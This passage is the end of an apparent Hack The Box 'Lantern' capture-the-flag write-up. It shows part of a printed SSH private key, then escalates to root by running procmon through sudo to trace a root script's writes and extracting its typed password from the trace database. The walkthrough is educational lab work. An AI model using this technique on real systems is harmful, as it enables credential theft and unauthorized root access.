Zry8Yy605aCCKTyQ6O5ppFt1iKkxmUo7glCnrNyvna6dj8qX9hy2qY+sUiUgsLbKz5e9tP
vpPttZZSNoWoBOkcAihJhIrs4GF5fj5t3gR2RA2qGlJ4C2R80Qbv2QAnroevpnoYKko/s9
2VfNjWIV4Eq/DnAAAADXRvbWFzQGxhbnRlcm4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

And now we have our user flag:

1
2
3
tomas@lantern:~$ cat user.txt
7777ee1264ca2e******************
tomas@lantern:~$

Privilege Escalation to root - Procmon abuse

Seeing what our user can execute as root:

1
2
3
4
5
6
7
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon

We can see that we can execute procmon as root which is a tool used to monitor process and trace files being written.
Also doing some enumeration, I found an interesting email under /var/mail/tomas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tomas@lantern:~$ cat /var/mail/tomas
From [email protected] Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.

While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.

So I immediately thought of tracing what the automation.sh file is doing using our procmon privilege.
First we have to get the automation.sh process id using the ps auxf command then run this command:

1
tomas@lantern:~$ sudo procmon -p 5066 -e write

This will prompt us with a process monitoring interface where we can start exporting the output by typing F6 and then quit using F9 (give the process some time so it writes the juicy data).
And we get a procmon_2024-11-29_15:09:05.db SQLITE3 database file.

We take that to our machine to see what it has, I came up with this prompt after a lot of messing around with it:

1
2
sqlite> select hex(substr(arguments,9,resultcode)) from ebpf where resultcode > 0 order by timestamp;

This prompt extracts a hexadecimal representation of a substring from the arguments column, starting at the 9th character and with a length specified by the resultcode, for rows where resultcode is greater than 0, and orders the results by the timestamp column.

This will give us HEX values, we take them to Cyberchef and decode it from HEX. Here’s the recipee link .
Reading the output file we get our root password:

1
2
3
4
PS C:\Users\0xkujen> cat .\download.dat
e
eecchh
echo Q 33EEddddttddww33ppMMBB | s uuddoo

The password is: Q3Eddtdw3pMB (characters were being written twice for some reason)
And we have our root flag:

1
2
3
root@lantern:~# cat root.txt
af399e193bb0de******************
root@lantern:~#

This is the automation script being run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/expect -f

spawn nano /root/automation.sh

set text "echo Q3Eddtdw3pMB | sudo ./backup.sh"

while {1} {
foreach char [split $text ""] {
send "$char"
sleep 1
}

send "\r"

sleep 0.5

for {set i 0} {$i < [string length $text]} {incr i} {
send "\b \b" ;
}

send "\r"
}

That was it for lantern :) Hope you learned something new from me!
-0xkujen

  • Title: Hackthebox: Lantern
  • Author: Foued SAIDI
  • Created at : 2024-11-29 11:09:07
  • Updated at : 2024-11-29 16:22:46
  • Link: https://kujen5.github.io/2024/11/29/Hackthebox-Lantern/
  • License: This work is licensed under CC BY-NC-SA 4.0.